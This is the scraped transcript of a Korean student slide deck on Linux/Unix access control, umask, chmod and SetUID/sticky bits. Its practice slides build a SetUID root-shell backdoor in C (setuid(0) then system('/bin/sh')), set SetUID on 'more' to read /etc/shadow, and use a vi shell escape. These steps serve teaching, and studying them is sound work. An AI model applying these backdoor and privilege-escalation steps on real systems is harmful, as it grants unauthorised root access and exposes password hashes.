Presentation is loading. Please wait.

Presentation is loading. Please wait.

시스템 보안 SetUID 20072201 구창민 20092235 조기웅.

Similar presentations


Presentation on theme: "시스템 보안 SetUID 20072201 구창민 20092235 조기웅."— Presentation transcript:

1 시스템 보안 SetUID 구창민 조기웅

2 목차 1.리눅스/유닉스의 접근제어 2.리눅스/유닉스의 접근제어의 설정 3.setUid 4.실습

3 1.리눅스/유닉스의 접근제어 (유닉스의 디렉토리 정보)
1.파일에 대한 접근 권한을 표현 2.해당파일에 링크 되어 있는 파일의 개수를 표시 3.해당 파일을 생성한 계정이다. 4.해당 파일을 생성한 그룹이다. 5.파일의 크기를 의미 6.파일의 생성 날짜및 최종 수정날짜를 의미 7.파일 이름입니다.

4 1.리눅스/유닉스의 접근제어 (파일의 종류에 대한 속성 케릭터)
파일 속성 내용 d 디렉토리 파일 - Regulae File,일반 정규 파일 l Symbolic Link,링크되어 있는 파일 c 버퍼에 저장되지 않는 특수 파일 b 버퍼링된 특수 파일 s 소켓기능을 하는 파일 p 파이프 기능을 수행하는 파일

5 파일의 접근 권한을 표현 1.rwx=r(읽기.read),w(쓰기.write),(실행.execute) 2.숫자 표기법
위에 숫자 표기법처럼 rwx는 각각의 숫자 r(4)+w(2)+x(1)를 더한 수 ‘7(2진수로 111)’로 읽는다. 3.rwxrwxrwx의 경우에는 파일의 소유자,그룹,기타등이 읽고,쓰고 실행가능하다. (777로 읽음) /etc/rc.d/init.d 디렉토리의 경우 접근권한이 ‘rwxr-xr-x’이므로 접근권한을 755라고 읽는다. 파일의 소유자,그룹,기타등은 모두 파일을 읽고 실행할수 있지만 파일에 쓰거나 변경할수 있는 이는 파일의 소유자만 할수 있다.

6 2.리눅스/유닉스의 접근제어 설정 1.파일 및 디렉토리 생성 시 기본 권한 Touch a.txt,mkdir a,ls –al
시스템은 기본적으로 디렉토리는 755의 권한으로 파일은 644의 권한으로 생성한다.

7 2.리눅스/유닉스의 접근제어 설정 vi/etc/bashrc
Umask 값에 따라 기본 권한 설정이 결정되는데,파일의 경우에는 기본 생성 최고 권한이 666이며,디렉토리의 경우에는 777이다.디렉토리가 777인 이유는 디렉토리에 실행권한 (x)이 없으면,디렉토리가 안으로 들어갈수 없기 때문이다.또한 기본권한은 최고 권한에서 Umask값을 빼준 값이 된다.즉,위에서 확인한 바와 같이 파일의 경우에는 666에서 022를 뺀값인 644가 기본 생성 권한이며,디렉토리는 777에서 022를 뺀 755가 기본 권한이다. 따라서 이 umask 값을 변경해주면 기본 생성 권한 역시 바뀐다.예를 들어,umask값이 027이 되면 파일은 640( )이 되며,디렉토리는 750( )이 된다.

8 2.리눅스/유닉스의 접근제어 설정 파일 및 디렉토리 권한 변경
Touch c.txt , ls –al c.txt , chmod 777 c.txt , ls –al c.txt 생성되어 있는 파일에 대한 권한설정은 ‘chmod’명령을 이용 ‘touch’명령으로 ‘c.txt’를 생성하면 기본 권한이 640으로 설정

9 2.리눅스/유닉스의 접근제어 설정 사용자 계정설정 adduser wishfree 1 cd/home ls –l

10 2.리눅스/유닉스의 접근제어 설정 파일의 소유및 그룹 chown wishfree c.txt(소유자 변경)
charp wishfree c.txt(그룹 변경)

11 3.SetUID 필요성:프로세스가 사용자보다 높은 수준의 접근을 요구할때 파일 접근 제한 때문에 원할한 기능을 제공 할수 없기 때문에 이를 해결 하기 위한 방법 Root권한만 사람만이 할수 있는것을 일반사용자에게 사용 할수 있게 하는것 Ex)passwd명령을 사용하면 모든사용자에게 관리자와 같은 권한을 가짐 정의:프로세스가 실행되는 동안 권한을 임시로 가지는 것. 종류:RUID,EGID(Root의 UID,EUID는 0으로 시작,사용자 계정의 UID,EUID는 500으로 시작합니다.

12 3.setUID setUID,SetGID,스틱키 비트 표현 방법
2000,1000이다.4755권한이 있는 파일이 있다면 어떻게 표현 할까? 이 경우에는 ‘rwsr-xr-x를 말한다.소유자 권한에 ‘x’가 있을 자리에 ‘s’가 적혀있다.SetGID는 그룹의 ‘x’자리를 ‘s’로 바꾸어 쓰고,스틱키 비트는 기타 등등에 대한 실행비트인 ‘x’대신에 ‘t’문자를 사용한다.따라서 7777 의 권한은 ‘rwsrwstwt’다. SetUID의 사용 예시 is –al /usr/bin/passwd

13 3.SetUID 동작원리

14 3.setuid 취약점 평소에 설정되어있는 UID,GID는 RUID(Real UID), RGID(Real GID)이며 어떤 사용자가 SetUID가 걸려있는 파일을 실행하게 되면 그 사용자의 프로세스 권한을 나타내는 EUID(Effective UID), EGID(Effective GID)가 root로 변한다. 이 점은 많은 취약점을 가지고 있는 것이 단점이다

15 3.SetUID 스틱키 비트의 동작 파일에 주어지는 권한이 아님 디렉토리에만 주어지며 스틱키 부여된 디렉토리에 있는
파일은 접근권한이 상관없이 파일의 소유자와 관리자 만이 파일을 삭제할수 있다. Ex)tmp 디렉토리

16 4.실습 SetUID를 이용한 해킹 SetUID 비트를 가진 셀의 생성
원본의 bash 셸을 /tmp 디렉토리에 복사하여 4755권한을 주었다. SetUID비트가 주어진 bash셸 프로그램은 프로세스가 살아있는 소유자 인 root권한으로 실행 cp/bin/bash/tmp/bash chmod 4755 bash

17 일반 사용자 계정으로 SetUID비트가 주어진 셸 실행 권한 획득 실패
실행전과 다름없는 UID와 GID를 가지고 있는 것을 확인 ./bash

18 보안 설정 트릭사용 #include<stdio.h> Main(){ setuid(0); setgid(0);
system(“/bin/sh”);

19 Backdoor.c 생성 Backdoor.c 컴파일

20 컴파일한 bash 셸 파일의 권한 변경 Chmod 4755 bash 셸 실행을 통한 관리자 권한 획득 ./bash

21 More명령어를 사용하여 사용자 권한 획득 Chmod 4755 more Id more /etc/shadow

22 Vi를 이용한 해킹 #include<stdio.h> Main(){ setuid(0); setgid(0);
system(“/bin/vi”); } :!/bin/sh

23 ./backdoor

24 수고 하였습니다.


Download ppt "시스템 보안 SetUID 20072201 구창민 20092235 조기웅."

Similar presentations


Ads by Google